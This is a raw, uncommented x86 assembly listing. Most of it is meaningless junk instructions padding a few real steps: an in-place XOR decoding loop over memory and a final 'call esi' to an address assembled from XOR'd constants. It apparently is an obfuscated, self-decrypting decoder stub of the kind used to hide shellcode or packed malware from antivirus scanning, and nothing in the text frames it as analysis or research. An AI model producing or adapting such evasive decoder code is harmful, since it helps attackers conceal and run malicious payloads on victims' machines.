xor edi, 0x1c24b26e
sub edi, esi
mov ebx, 0x1d25626e
sub ebx, edi
and edi, ecx
xchg esi, eax
sub esi, edx
mov edi, esi
and edi, 0x205d2a6e
mov edi, esi
xchg edx, esi
add ebx, eax
ror ebx, 0x17
mov edi, esi
sub edi, esi
shl edi, 0x1e
dec edi
or edi, eax
sub edi, esi
xor edx, ecx
xor ebx, eax
mov edi, eax
mov ebx, edi
xchg ecx, eax
xchg edi, edx
and ebx, edx
and esi, ebx
add eax, ecx
xor ecx, esi
and edi, 0x2b7b0e6e
not ebx
add esi, edx
and edx, edi
dec edi
add edx, 0x2dcb1a6e
mov edi, esi
dec ebx
xchg ecx, edx
xor edx, eax
sub ebx, eax
sub edx, ecx
dec ebx
and ebx, edi
mov edx, eax
rol edi, 0xe
add eax, ecx
ror ebx, 0xc
or ebx, edi
or edi, ecx
mov ebx, 0x3581fe6e
mov ecx, esi
dec ebx
xor edi, esi
sub edx, edi
or ebx, edx
shr edx, 3
and eax, ecx
and ebx, eax
and eax, esi
xor edi, 0x3aeb566e
or ebx, eax
xor edx, 0x3c1bb66e
or edi, ecx
mov edi, 0x3d0ad26e
ror edi, 0x10
and eax, esi
mov edx, ecx
mov edx, 0x3ed4f26e
xor ebx, 0x3f814a6e
not ebx
add ebx, edx
shr edi, 0x1e
and ebx, 0x4170766e
xor ebx, eax
add edx, edi
sub ebx, edi
xchg ebx, ecx
inc ebx
or esi, edx
or ebx, edi
xchg edi, ebx
and edi, ecx
xor edx, eax
mov edx, eax
or ecx, esi
add edx, edi
xor edi, 0x4911f26e
sub ebx, edx
sub ebx, 0x4a499e6e
xchg ebx, eax
or edx, ecx
sub ebx, 0x4c1a066e
inc edi
xor esi, edx
sub esi, ebx
or eax, ecx
xor eax, ecx
xchg esi, eax
rol edx, 7
sub edx, edi
and ebx, edx
sub ebx, edi
or ebx, edx
mov edx, 0x52cd3a6e
and edx, edi
and esi, ebx
xor edi, esi
sub edx, edi
and edi, 0x5578766e
add ebx, 0x55e7926e
not edx
sub ebx, edx
mov edx, eax
xor edi, ecx
or esi, edx
sub edi, eax
shl ebx, 0x19
xor ecx, ebx
xchg esi, edi
add ebx, edi
mov ecx, esi
add ebx, edi
xchg edx, ebx
mov ebx, 0x5d4c826e
xor edx, edi
sub ebx, eax
and ecx, esi
xchg ebx, esi
mov ebx, edx
and eax, esi
xor edi, esi
add ecx, ebx
add ecx, ebx
mov ebx, edi
shl ebx, 0x13
sub esi, ebx
or edx, eax
sub ecx, esi
or ecx, esi
add esi, edx
add ecx, esi
and ebx, edx
mov eax, ecx
add eax, ecx
sub ebx, edi
dec ebx
add ebx, edx
xor eax, esi
add ebx, 0x69be4e6e
sub ebx, eax
and ebx, 0x6ad1966e
shl edi, 0x13
add edi, esi
shl edx, 0x1c
or edi, eax
not edi
mov ebx, edx
sub edi, esi
and ebx, edx
and ebx, edi
xor edi, ecx
or edi, 0x7075926e
add ecx, esi
xor ecx, esi
and edx, eax
xchg ebx, esi
or esi, ebx
and edi, esi
or edx, ecx
mov ebx, 0x74991e6e
xor edx, edi
sub ecx, esi
or ebx, 0x76646e6e
sub edx, 0x7707b26e
add edx, eax
or ecx, ebx
sub edx, edi
xor edx, 0x793cba6e
or esi, ebx
xor ebx, ebx
and esi, 0x7a2b5e6e
add edi, 0x7a7d766e
add edi, 0x7ac69a6e
shr edi, 0x1a
shr edx, 1
inc edx
mov eax, 0xe24e3a
dec esi
mov ecx, 0x7c773e6e
or eax, 0x7ccff66e
bswap ecx
or edi, 0x7d7d7a6e
inc edi
ror edx, 0xa
add edi, 0x7e777a6e
add eax, 0x7eb86a6e
bswap ecx
mov edi, 0xe3e360
mov ecx, 0x7f4fba6e
inc edx
dec esi
shr eax, 9
and ecx, 0x8091226e
and esi, 0x80dd366e
mov ecx, 0x811b6a6e
mov ecx, 0x8158066e
ror eax, 0x19
shl ecx, 0xe
mov ecx, 0x8253f26e
dec esi
or edi, 0x82faba6e
mov edx, 0xe5daec
ror eax, 0xa
ror edx, 0xa
ror eax, 0x1d
add edx, 0x84651a6e
xor edx, 0x84d3be6e
not eax
inc edx
shl esi, 0x15
or edx, 0x8623aa6e
and esi, 0x866f066e
mov esi, 0xe79418
xor edx, 0x86df426e
inc edx
ror edx, 0x11
ror edx, 0x11
inc eax
bswap esi
bswap esi
mov ecx, 0xe8cd1a
xor eax, 0x894c126e
not eax
bswap esi
inc edi
add eax, esi
mov esi, ecx
ror eax, 0x1a
not eax
or ecx, esi
xchg edi, esi
xchg edi, ecx
xchg esi, edi
add edx, 0x8f92fa6e
sub esi, ecx
xor eax, 0x8e14b897
inc edx
sub edi, 0x917eea6e
add ecx, esi
or edx, ecx
xchg esi, ecx
or edi, ecx
or edx, edi
sub edx, edi
add edx, 0x94d43e6e
xchg ecx, edx
mov edx, edi
inc edx
sub ecx, esi
xor edi, 0xc4334356
xor esi, ecx
sub edx, 0x980e2a6e
add ecx, 0x98780a6e
add esi, 0x98db0e6e
xchg edx, esi
add eax, ebx
mov esi, edx
xchg edx, esi
shr esi, 0x1e
and edx, 0x9b5e4a6e
xor ecx, edx
xor ecx, 0x9c7f2a6e
sub edx, 0x9d04fe6e
bswap edx
mov ecx, esi
and edx, 0x9e2af66e
not esi
mov esi, dword [eax]
shr edx, 0x19
sub edx, ecx
add edx, 0xa047726e
add edx, 0xa0a7866e
xor esi, edi
xor edx, 0xa1411e6e
not edx
shr edx, 0xb
dec edx
mov dword [eax], esi
mov esi, 0x3039
ror edx, 6
ror edx, 0x12
mov edx, 0xa3e5466e
sub edx, ecx
sub edx, ecx
or edx, ecx
mov esi, 0x3752aa47
sub edx, 0xa5db266e
sub edx, 0xa65fd66e
and edx, 0xa6c4726e
xor edx, ecx
xor esi, 0x3752aa43
xchg ecx, edx
sub edx, ecx
ror edx, 1
or edx, 0xa9554a6e
not edx
and edx, 0xaa21ea6e
add ebx, esi
dec edx
and edx, 0xaaf1f66e
xor edx, 0xab7c426e
not edx
ror edx, 2
rol edx, 0x1d
shr edx, 0xc
xor edx, ecx
xor esi, 0x1a7ae4
add edx, ecx
mov edx, 0xae85b26e
xchg ecx, edx
xchg ecx, edx
or edx, 0xb01d166e
inc edx
xor edx, ecx
and edx, ecx
and edx, ecx
add edx, 0xb21f126e
shl edx, 0x11
inc edx
shl edx, 7
mov edx, 0xb4cc7e6e
xchg ecx, edx
and edx, 0xb5c3166e
xor edx, ecx
mov edx, ecx
or edx, ecx
shr edx, 4
shl edx, 5
and edx, 0xb850126e
add edx, 0xb8aa1e6e
sub edx, ecx
xor edx, ecx
or edx, ecx
ror edx, 0x12
not edx
xor edx, ecx
or edx, 0xbbfada6e
inc edx
and edx, ecx
and edx, 0xbd20366e
dec edx
or edx, ecx
not edx
shr edx, 1
or edx, ecx
add edx, 0xbf991a6e
inc edx
rol edx, 0x14
inc edx
shl edx, 0x14
add edx, ecx
ror edx, 0xe
inc edx
sub edx, 0xc309c26e
mov edx, 0xc358426e
not edx
bswap edx
xor edx, ecx
sub edx, ecx
or edx, 0xc5a58e6e
bswap edx
or edx, 0xc681ca6e
inc edx
inc edx
sub edx, 0xc7cffa6e
add edx, 0xc829f66e
mov edx, 0xc8782a6e
shr edx, 0xb
add edx, ecx
mov edx, ecx
ror edx, 0x16
add edx, ecx
or edx, 0xcad53e6e
inc edx
and edx, 0xcb9c5a6e
mov edx, ecx
dec edx
sub edx, 0xccd5aa6e
inc edx
inc edx
mov edx, ecx
dec edx
xor edx, ecx
dec edx
shl edx, 5
xor edx, ecx
shr edx, 9
inc edx
ror edx, 4
and edx, 0xd1f94e6e
mov edx, 0xd2488e6e
ror edx, 6
sub edx, 0xd349266e
and edx, ecx
shr edx, 0x1a
mov edx, 0xd46e0e6e
mov edx, 0xd4be426e
shl edx, 0xb
xor edx, 0xd5c3b66e
add edx, 0xd61c126e
shl edx, 5
or edx, 0xd704c26e
xor edx, ecx
shr edx, 0xa
inc edx
not edx
inc edx
add edx, ecx
xor edx, ecx
not edx
xor edx, 0xdb098e6e
xchg ecx, edx
mov edx, ecx
mov edx, ecx
not edx
or edx, ecx
shl edx, 7
sub edx, ecx
inc edx
or edx, ecx
or edx, 0xdf3f7a6e
sub edx, 0xdfc30a6e
not edx
or edx, 0xe09c7e6e
dec edx
mov edx, 0xe155566e
dec edx
or edx, ecx
sub edx, ecx
and edx, ecx
xchg ecx, edx
and edx, 0xe3fdce6e
and edx, ecx
rol edx, 0xe
shl edx, 0xa
xor edx, 0xe6290e6e
shr edx, 0xd
xchg ecx, edx
xchg ecx, edx
inc edx
inc edx
add edx, 0xe8e36e6e
and edx, ecx
bswap edx
inc edx
add edx, ecx
shl edx, 9
xchg ecx, edx
and edx, ecx
sub edx, 0xec4c266e
and edx, ecx
shl edx, 0x14
and edx, 0xed84166e
mov edx, 0xedd4fe6e
add edx, 0xee2ebe6e
add edx, 0xee88ea6e
add edx, 0xeee2be6e
ror edx, 0xd
bswap edx
or edx, ecx
or edx, 0xf0a99a6e
sub edx, 0xf12c7a6e
sub edx, ecx
xchg ecx, edx
shl edx, 0x16
sub edx, ecx
add edx, ecx
rol edx, 3
and edx, 0xf464266e
xor edx, 0xf4f06a6e
xor edx, ecx
and edx, 0xf5df666e
or edx, 0xf651d66e
dec edx
or edx, 0xf7288a6e
add edx, ecx
xor edx, 0xf809766e
xor edx, 0xf895e26e
xor edx, 0xf922326e
xor edx, ecx
add edx, 0xfa05e26e
or edx, 0xfa793e6e
xchg ecx, edx
or edx, 0xfb7fae6e
xor edx, 0xfc0aba6e
rol edx, 0xd
inc edx
dec edx
mov edx, 0xfda0766e
xor edx, 0xfe2e226e
bswap edx
mov edx, ecx
rol edx, 0x10
sub edx, ecx
rol edx, 0x16
shr edx, 7
not edx
not edx
sub edx, ecx
not edx
and edx, 0x2e28e6f
and edx, ecx
xor edx, ecx
or edx, 0x43a326f
shr edx, 0xe
add edx, ecx
or edx, 0x57b7e6f
bswap edx
add edx, 0x63e1a6f
inc edx
dec edx
add edx, 0x762ca6f
inc edx
add edx, 0x823de6f
xchg ecx, edx
xor edx, 0x9418a6f
and edx, ecx
shl edx, 3
sub edx, 0xa98466f
shl edx, 3
xchg ecx, edx
shl edx, 0x19
or edx, 0xc8b866f
xchg ecx, edx
inc edx
mov edx, ecx
ror edx, 0x18
mov edx, ecx
and edx, ecx
and edx, ecx
or edx, ecx
shr edx, 9
add edx, 0x108c5e6f
xor edx, 0x111a7e6f
bswap edx
add edx, 0x11de5a6f
add edx, ecx
or edx, ecx
shl edx, 0x1b
inc edx
shl edx, 0x1b
add edx, 0x144b5e6f
or edx, 0x14bda66f
or edx, 0x152ff66f
or edx, 0x15a3f26f
bswap edx
shr edx, 7
rol edx, 0xe
inc edx
or edx, ecx
shr edx, 0x13
add edx, 0x189fde6f
or edx, ecx
bswap edx
dec edx
shl edx, 0x12
sub edx, 0x1ad5f26f
and edx, 0x1b391a6f
mov edx, 0x1b894a6f
shl edx, 0x13
inc edx
mov edx, 0x1cb0566f
sub edx, 0x1d34ea6f
add edx, ecx
xor edx, 0x1e16c26f
xchg ecx, edx
sub edx, ecx
rol edx, 0x10
add edx, ecx
sub edx, ecx
xor edx, 0x21053e6f
sub edx, ecx
inc edx
xchg ecx, edx
shl edx, 8
xor edx, ecx
rol edx, 0x1e
rol edx, 0xe
mov edx, 0x24b60e6f
or edx, 0x2529fe6f
or edx, 0x259a826f
xor edx, 0x26286a6f
shr edx, 0x14
dec edx
and edx, ecx
sub edx, ecx
mov edx, 0x2832666f
sub edx, 0x28b7326f
bswap edx
dec edx
or edx, ecx
shl edx, 0xf
bswap edx
shr edx, 2
mov edx, ecx
add edx, ecx
bswap edx
mov edx, 0x2ca5f66f
xchg ecx, edx
shr edx, 0x15
xor edx, 0x2e39fe6f
xor edx, 0x2ec7666f
mov edx, ecx
or edx, ecx
shr edx, 2
add edx, 0x3050326f
ror edx, 3
and edx, 0x312f6a6f
mov edx, ecx
not edx
xor edx, ecx
add edx, 0x32c2ce6f
shr edx, 9
dec edx
ror edx, 4
ror edx, 0xb
xchg ecx, edx
shl edx, 0x1d
rol edx, 0x18
dec edx
mov edx, 0x36ce326f
or edx, 0x3740926f
shl edx, 0x10
add edx, 0x380e226f
xchg ecx, edx
inc edx
rol edx, 0xa
not edx
not edx
shr edx, 0x1c
dec edx
not edx
xor edx, ecx
or edx, ecx
or edx, 0x3e44526f
xor edx, 0x3ed3f66f
shr edx, 0x18
and edx, 0x3fadda6f
or edx, ecx
add edx, 0x40752a6f
mov edx, ecx
and edx, 0x4122926f
inc edx
xchg ecx, edx
dec edx
sub edx, ecx
xor edx, ecx
or edx, 0x43f9366f
bswap edx
sub edx, ecx
or edx, 0x4550326f
and edx, ecx
xor edx, 0x463d326f
xchg ecx, edx
cmp ebx, esi
jne 0x5a9c87
or edx, ecx
not edx
or edx, 0x481e626f
add edx, 0x487b5e6f
mov edx, ecx
ror edx, 0xc
or edx, ecx
dec edx
bswap edx
add edx, 0x4ad7726f
xchg ecx, edx
not edx
not edx
and edx, 0x4c9d5a6f
or edx, 0x4d0eca6f
ror edx, 2
not edx
and edx, ecx
shr edx, 1
dec edx
and edx, 0x4f957a6f
mov edx, ecx
ror edx, 0xe
sub edx, 0x50e1426f
sub edx, 0x5162ce6f
shl edx, 0x16
sub edx, ecx
bswap edx
dec edx
and edx, ecx
not edx
add edx, 0x54482a6f
mov edx, ecx
rol edx, 1
rol edx, 0x1b
sub edx, 0x5608966f
and edx, ecx
not edx
sub edx, 0x57547e6f
mov edx, 0x57a72a6f
add edx, 0x5801926f
shr edx, 0xe
dec edx
dec edx
shr edx, 0xc
and edx, ecx
mov edx, ecx
rol edx, 0x1b
xchg ecx, edx
mov edx, ecx
add edx, ecx
xchg ecx, edx
shl edx, 0x10
bswap edx
add edx, ecx
add edx, ecx
add edx, 0x5e85226f
bswap edx
sub edx, ecx
xor edx, 0x5ffb326f
xor edx, 0x6087726f
bswap edx
and edx, 0x6152a66f
and edx, 0x61b7a26f
or edx, ecx
rol edx, 4
add edx, 0x62f4ae6f
inc edx
mov edx, 0x63abb26f
and edx, ecx
inc edx
mov edx, ecx
inc edx
rol edx, 0x17
mov edx, 0x65e41a6f
ror edx, 0x11
shl edx, 0xf
mov edx, ecx
not edx
rol edx, 0xb
ror edx, 0x1b
sub edx, ecx
not edx
ror edx, 0xf
mov edx, 0x6a2afe6f
sub edx, 0x6aaeae6f
shl edx, 0xb
xor edx, ecx
or edx, 0x6c215a6f
not edx
and edx, 0x6cebca6f
xor edx, 0x6d76c26f
and edx, ecx
inc edx
inc edx
xor edx, 0x6f2caa6f
add edx, ecx
xor edx, ecx
add edx, ecx
and edx, ecx
mov edx, ecx
and edx, 0x716dca6f
inc edx
not edx
shl edx, 0xa
shl edx, 0x1d
mov edx, ecx
and edx, 0x73d30e6f
mov edx, 0x7423266f
xor edx, ecx
and edx, 0x750e526f
and edx, 0x75733e6f
and edx, 0x75d2da6f
ror edx, 0xb
mov edx, 0x76a10e6f
dec edx
rol edx, 1
bswap edx
and edx, 0x784ad66f
xchg ecx, edx
shl edx, 2
and edx, 0x79b64a6f
inc edx
mov edx, ecx
rol edx, 0x1c
or edx, 0x7b52ee6f
mov edx, ecx
xchg ecx, edx
rol edx, 3
xchg ecx, edx
mov edx, ecx
xchg ecx, edx
add edx, ecx
shl edx, 0xb
sub edx, 0x7f65d26f
add edx, 0x7fbf466f
or edx, ecx
and edx, 0x808eda6f
mov edx, 0x80e19e6f
add edx, 0x8138ea6f
and edx, ecx
sub edx, 0x821d426f
sub edx, 0x82a15a6f
sub edx, 0x83239a6f
add edx, ecx
rol edx, 0x13
add edx, ecx
mov edx, 0x8495da6f
xor edx, 0x8521666f
mov esi, 0x37c2911f
and edx, 0x8586226f
bswap edx
xor edx, 0x867d1a6f
and edx, 0x86df626f
ror edx, 5
sub edx, ecx
or edx, 0x884ab66f
inc edx
mov edx, 0x89005e6f
xor edx, 0x898f4a6f
shr edx, 4
and edx, ecx
or edx, ecx
shl edx, 5
or edx, 0x8bbbae6f
shl edx, 0x1d
inc edx
xchg ecx, edx
and edx, 0x8d89426f
not edx
mov edx, 0x8e41526f
xchg ecx, edx
sub edx, 0x8f56266f
bswap edx
mov edx, 0x9048f66f
and edx, ecx
not edx
shl edx, 0xd
mov edx, 0x91d4ea6f
xor edx, 0x9263ae6f
sub edx, ecx
add edx, ecx
add edx, 0x93911e6f
inc edx
inc edx
bswap edx
dec edx
add edx, ecx
mov edx, 0x95cf966f
or edx, ecx
inc edx
and edx, ecx
and edx, 0x9765326f
rol edx, 0x19
xchg ecx, edx
add edx, 0x98c94a6f
xchg ecx, edx
ror edx, 0x12
inc edx
sub edx, 0x9ab8566f
sub edx, ecx
xchg ecx, edx
and edx, 0x9c2c166f
shr edx, 1
add edx, 0x9cfd7a6f
dec edx
sub edx, ecx
not edx
inc edx
add edx, 0x9f065a6f
xor edx, 0x9f92de6f
sub edx, 0xa0175a6f
or edx, ecx
xor edx, 0xa1135e6f
sub edx, 0xa197026f
ror edx, 2
add edx, 0xa26bc66f
rol edx, 0x16
shr edx, 0x1d
mov edx, 0xa3aa4e6f
bswap edx
shl edx, 1
shl edx, 0x14
shl edx, 3
or edx, ecx
or edx, 0xa653ea6f
ror edx, 8
shl edx, 0xf
shl edx, 0x1d
or edx, 0xa82c426f
add edx, 0xa887766f
xchg ecx, edx
sub edx, ecx
not edx
dec edx
not edx
or edx, 0xab417a6f
or edx, 0xabb3da6f
inc edx
bswap edx
add edx, 0xacdb8a6f
xor edx, 0xad67fa6f
rol edx, 1
xor edx, 0xae6dea6f
not edx
ror edx, 0x1d
or edx, ecx
not edx
or edx, ecx
and edx, ecx
xor edx, ecx
or edx, 0xb1ecfa6f
mov edx, ecx
shr edx, 0xa
and edx, 0xb312ee6f
shl edx, 5
mov edx, ecx
mov edx, ecx
shr edx, 1
mov edx, ecx
add edx, ecx
shl edx, 0x10
dec edx
shr edx, 0x15
or edx, ecx
shr edx, 0xe
or edx, ecx
xor edx, ecx
dec edx
shl edx, 0x1e
ror edx, 0xc
shr edx, 0xc
dec edx
mov edx, 0xbaee026f
dec edx
add edx, ecx
inc edx
not edx
mov edx, 0xbcc89a6f
sub edx, 0xbd4e0a6f
mov edx, 0xbda1526f
and edx, ecx
xor edx, 0xbe8a3a6f
and edx, ecx
inc edx
mov edx, 0xbf9cee6f
mov edx, 0xbfee7e6f
add edx, ecx
mov edx, 0xc094166f
bswap edx
xor edx, 0xc18d226f
and edx, ecx
inc edx
sub edx, ecx
mov edx, ecx
xor edx, 0xc3a6e26f
mov edx, 0xc3f96e6f
ror edx, 0x1d
shl edx, 2
add edx, ecx
shr edx, 0x12
sub edx, 0xc639126f
sub edx, ecx
mov edx, 0xc706d66f
bswap edx
and edx, 0xc7d5ba6f
mov edx, 0xc824066f
add edx, ecx
dec edx
mov edx, ecx
mov edx, 0xc97a466f
and edx, 0xc9dc526f
shr edx, 0x14
xchg ecx, edx
dec edx
add edx, 0xcba6926f
shl edx, 0x13
xor edx, 0xccaa1e6f
mov edx, ecx
rol edx, 0x1c
xchg ecx, edx
add edx, ecx
add edx, 0xceb2166f
sub edx, 0xcf369a6f
dec edx
dec edx
ror edx, 0x14
mov edx, 0xd0cef66f
or edx, 0xd142826f
add edx, ecx
bswap edx
shr edx, 0xb
dec edx
xor edx, 0xd36b466f
bswap edx
shl edx, 0x16
sub edx, 0xd4caca6f
dec edx
xor edx, 0xd5c1aa6f
xor esi, 0x3782811f
shl edx, 0x1d
ror edx, 0x12
dec edx
inc edx
mov edx, ecx
or edx, 0xd83ec26f
dec edx
inc edx
inc edx
add edx, ecx
inc edx
mov edx, ecx
xor edx, ecx
mov edx, 0xdb4d8e6f
ror edx, 0xd
mov edx, ecx
xor edx, ecx
shr edx, 0xc
sub edx, ecx
not edx
inc edx
bswap edx
shl edx, 0x1a
add edx, ecx
add edx, 0xdfeee26f
dec edx
shr edx, 6
dec edx
xor edx, 0xe1be7e6f
dec edx
shr edx, 0x17
or edx, ecx
rol edx, 0xf
not edx
xchg ecx, edx
bswap edx
inc edx
sub edx, ecx
and edx, 0xe65e066f
and edx, ecx
or edx, ecx
rol edx, 0x16
inc edx
mov edx, 0xe858ce6f
inc edx
or edx, ecx
and edx, ecx
xor edx, 0xea177e6f
bswap edx
bswap edx
xor edx, ecx
ror edx, 1
add edx, ecx
mov edx, 0xec918e6f
xor edx, 0xed1ffa6f
xchg ecx, edx
sub edx, ecx
mov edx, 0xee832e6f
sub edx, ecx
shl edx, 0x12
xchg ecx, edx
shl edx, 9
rol edx, 0x19
sub edx, 0xf17bba6f
and edx, ecx
xor edx, ecx
add edx, ecx
shr edx, 0x1e
ror edx, 0xe
mov edx, ecx
and edx, 0xf456866f
bswap edx
shl edx, 7
add edx, ecx
sub edx, ecx
sub edx, ecx
ror edx, 7
mov edx, ecx
and edx, ecx
ror edx, 0x1a
add edx, 0xf887d26f
and edx, ecx
xor edx, ecx
or edx, ecx
not edx
ror edx, 0xb
rol edx, 0xd
inc edx
bswap edx
sub edx, ecx
or edx, ecx
mov edx, 0xfd41e66f
bswap edx
sub edx, 0xfe2cde6f
or edx, 0xfea3ae6f
sub edx, 0xff276a6f
not edx
shr edx, 0x19
xor edx, 0x901e70
xor edx, 0x11ce670
xor edx, ecx
sub edx, 0x2280a70
shr edx, 6
mov edx, 0x2f1e670
shr edx, 3
ror edx, 0x1d
dec edx
sub edx, ecx
bswap edx
xor edx, 0x5be2670
inc edx
or edx, 0x694a270
add edx, ecx
bswap edx
add edx, ecx
shl edx, 0x1a
not edx
inc edx
and edx, 0xa5e0270
dec edx
xor edx, 0xb53f670
and edx, 0xbb5c270
xchg ecx, edx
and edx, 0xcab4e70
and edx, ecx
add edx, 0xd621a70
add edx, ecx
sub edx, ecx
shr edx, 3
dec edx
not edx
mov edx, 0xfc8ae70
not edx
xor edx, 0x10bcf270
shr edx, 1
add edx, ecx
not edx
mov edx, 0x12422270
and edx, ecx
and edx, ecx
xor edx, ecx
shl edx, 0x1c
or edx, 0x146f7e70
shl edx, 0xf
bswap edx
bswap edx
bswap edx
shr edx, 0xf
inc edx
ror edx, 0xa
or edx, ecx
sub edx, 0x18689270
xchg ecx, edx
xor edx, 0x1986ce70
not edx
xor edx, ecx
bswap edx
shr edx, 0x17
not edx
dec edx
shr edx, 0x10
bswap edx
not edx
xor edx, 0x1dfbe270
xchg ecx, edx
and edx, ecx
shl edx, 0x1a
shr edx, 0x1d
xor edx, ecx
rol edx, 0x1e
bswap edx
xor edx, ecx
and edx, 0x222d0670
bswap edx
rol edx, 4
shr edx, 0x18
and edx, 0x23e6a270
and edx, ecx
add edx, ecx
and edx, ecx
mov edx, 0x2549e670
and edx, 0x25aafa70
inc edx
shl edx, 0x13
or edx, ecx
shr edx, 0x13
not edx
sub edx, ecx
sub edx, 0x28d64e70
sub edx, ecx
xor edx, 0x29e33270
xor edx, 0x2a6e1670
dec edx
or edx, ecx
ror edx, 8
sub edx, ecx
and edx, ecx
not edx
sub edx, 0x2d84ae70
not edx
bswap edx
add edx, ecx
sub edx, 0x2f31d670
not edx
sub edx, 0x301d5e70
ror edx, 0xe
dec edx
mov edx, ecx
and edx, 0x31abde70
rol edx, 0x1d
sub edx, ecx
mov edx, 0x32f44270
sub edx, ecx
bswap edx
rol edx, 1
shr edx, 2
rol edx, 3
call esi
xor edx, 0x35d79e70
or edx, 0x36487a70
add edx, 0x36a2b270
not edx
and edx, 0x376fae70
mov edx, ecx
add edx, ecx
xor edx, ecx
sub edx, ecx
not edx
xor edx, 0x3a0af270
rol edx, 4
mov edx, 0x3b14da70
or edx, 0x3b89aa70
inc edx
xchg ecx, edx
shr edx, 0x1b
and edx, 0x3d598e70
shr edx, 0x1a
rol edx, 9
inc edx
or edx, 0x3f236a70
and edx, ecx
ror edx, 0x10
dec edx
sub edx, 0x40e54670
sub edx, 0x41691270
mov edx, ecx
sub edx, ecx
shl edx, 6
and edx, ecx
and edx, ecx
bswap edx
mov edx, ecx
not edx
ror edx, 0x10
bswap edx
xor edx, 0x45f3b270
ror edx, 7
or edx, 0x46e01270
add edx, ecx
mov edx, 0x47862a70
sub edx, ecx
xor edx, ecx
sub edx, 0x4913be70
not edx
and edx, ecx
xor edx, 0x4a63ba70
mov edx, ecx
xor edx, ecx
and edx, ecx
or edx, 0x4c04a670
and edx, 0x4c697670
xor edx, 0x4cf58270
and edx, ecx
ror edx, 0x10
inc edx
dec edx
ror edx, 0x15
rol edx, 0x12
mov edx, 0x4fdbba70
shr edx, 9
ror edx, 8
xor edx, 0x515b5270
xor edx, 0x51e7ca70
sub edx, ecx
xor edx, ecx
ror edx, 6
xchg ecx, edx
and edx, ecx
or edx, 0x54cc4270
mov edx, 0x551fbe70
shr edx, 0x15
and edx, 0x55fb5e70
or edx, ecx
add edx, ecx
shl edx, 5
bswap edx
not edx
not edx
or edx, ecx
ror edx, 0x18
and edx, ecx
and edx, 0x5a114270
and edx, ecx
bswap edx
inc edx
ror edx, 0x1b
add edx, 0x5c154670
sub edx, ecx
xor edx, ecx
bswap edx
xor edx, ecx
and edx, ecx
rol edx, 0x18
xor edx, 0x5f70c270
not edx
xor edx, 0x60663e70
or edx, 0x60dbaa70
shl edx, 0x15
and edx, 0x61b0ae70
dec edx
rol edx, 3
mov edx, ecx
add edx, ecx
xchg ecx, edx
inc edx
add edx, 0x6483b270
shr edx, 0x19
dec edx
or edx, 0x65d22e70
xor edx, ecx
bswap edx
add edx, ecx
ror edx, 0x17
and edx, ecx
xor edx, 0x687eea70
bswap edx
xor edx, 0x69770270
or edx, ecx
bswap edx
add edx, 0x6aa7c670
shl edx, 0xe
and edx, ecx
or edx, ecx
and edx, 0x6c4a0670
xor edx, 0x6cd68670
inc edx
xor edx, 0x6dc8be70
ror edx, 4
sub edx, 0x6ec8fa70
xor edx, 0x6f54ce70
xor edx, ecx
inc edx
and edx, 0x70a78270
add edx, 0x71016a70
xor edx, 0x718f7270
mov edx, 0x71e11a70
bswap edx
rol edx, 0xd
sub edx, 0x75176e70
and edx, ecx
rol edx, 0x11
or edx, 0x765e7270
rol edx, 0x1b
sub edx, ecx
dec edx
ror edx, 0x1a
and edx, 0x789dba70
bswap edx
shl edx, 0x1a
and edx, ecx
mov edx, ecx
shr edx, 6
or edx, ecx
sub edx, 0x7b8cd270
add edx, ecx
xchg ecx, edx
mov edx, 0x7cc76a70
shl edx, 2
add edx, 0x7faaf270
xor edx, 0x803b7270
and edx, 0x809fee70
shr edx, 0x1d
xchg ecx, edx
shl edx, 4
xor edx, ecx
add edx, ecx
mov edx, ecx
not edx
add edx, 0x8406fa70
ror edx, 0xc
or edx, ecx
shl edx, 0x1a
ror edx, 0xd
xchg ecx, edx
ror edx, 0xd
or edx, ecx
add edx, 0x87b75a70
shl edx, 4
inc edx
mov edx, 0x88e02a70
mov edx, ecx
or edx, ecx
sub edx, ecx
sub edx, 0x8a9c4a70
add edx, ecx
bswap edx
mov edx, ecx
xor edx, ecx
add edx, ecx
or edx, ecx
mov edx, 0x8d43da70
or edx, 0x8db48a70
mov edx, 0x8e07e270
add edx, 0x8e61fa70
add edx, ecx
not edx
or edx, 0x8f91ba70
shr edx, 0x16
not edx
mov edx, 0x910d1270
mov edx, 0x915d9a70
mov edx, 0x91ac1a70
sub edx, ecx
shl edx, 8
ror edx, 0x16
xchg ecx, edx
sub edx, ecx
shr edx, 0x1d
not edx
add edx, 0x95657e70
add edx, ecx
inc edx
xor edx, 0x96aab670
add edx, ecx
and edx, 0x97627670
inc edx
mov edx, 0x9818ca70
dec edx
add edx, 0x98d82270
and edx, ecx
xchg ecx, edx
mov edx, 0x9a189670
ror edx, 0xf
mov edx, 0x9ae2b270
mov edx, ecx
or edx, ecx
dec edx
sub edx, 0x9c87fe70
and edx, ecx
mov edx, 0x9d347670
mov edx, 0x9d872e70
or edx, 0x9df87e70
not edx
xor edx, 0x9eeed670
sub edx, 0x9f73be70
sub edx, 0x9ff79e70
inc edx
add edx, 0xa0b73270
xchg ecx, edx
sub edx, 0xa1cda670
sub edx, 0xa251fe70
xor edx, ecx
mov edx, 0xa3280e70
not edx
inc edx
mov edx, 0xa4446a70
rol edx, 0xb
add edx, ecx
mov edx, ecx
dec edx
sub edx, 0xa64b8a70
add edx, ecx
sub edx, 0xa7228670
dec edx
rol edx, 0xe
not edx
or edx, 0xa8dcfa70
shl edx, 0x15
xor edx, ecx
sub edx, 0xaa5fde70
dec edx
add edx, ecx
mov edx, ecx
xchg ecx, edx
sub edx, ecx
and edx, ecx
and edx, 0xad356a70
dec edx
xor edx, 0xae27fa70
or edx, 0xae9b2270
ror edx, 6
mov edx, ecx
xor edx, 0xafecf270
dec edx
mov edx, ecx
mov edx, ecx
ror edx, 7
rol edx, 0xe
dec edx
bswap edx
shl edx, 0x1d
and edx, 0xb3869670
and edx, 0xb3eb0a70
and edx, ecx
xor edx, 0xb4d55a70
mov edx, ecx
sub edx, ecx
and edx, 0xb6016e70
or edx, ecx
and edx, 0xb6d09a70
sub edx, 0xb754ae70
sub edx, 0xb7d8a270
bswap edx
or edx, 0xb8b77670
mov edx, 0xb9065a70
xor edx, 0xb9945a70
or edx, ecx
xor edx, ecx
or edx, 0xbaffce70
mov edx, 0xbb4e5270
not edx
or edx, ecx
shl edx, 9
dec edx
dec edx
xor edx, 0xbdee7a70
mov edx, 0xbe41aa70
xor edx, 0xbecf1e70
rol edx, 0x10
inc edx
sub edx, ecx
bswap edx
xor edx, ecx
rol edx, 0x1e
dec edx
rol edx, 1
add edx, ecx
rol edx, 0x1c
ror edx, 0xe
inc edx
mov edx, 0xc4763a70
mov edx, 0xc4c91270
sub edx, 0xc5ba7270
rol edx, 0x11
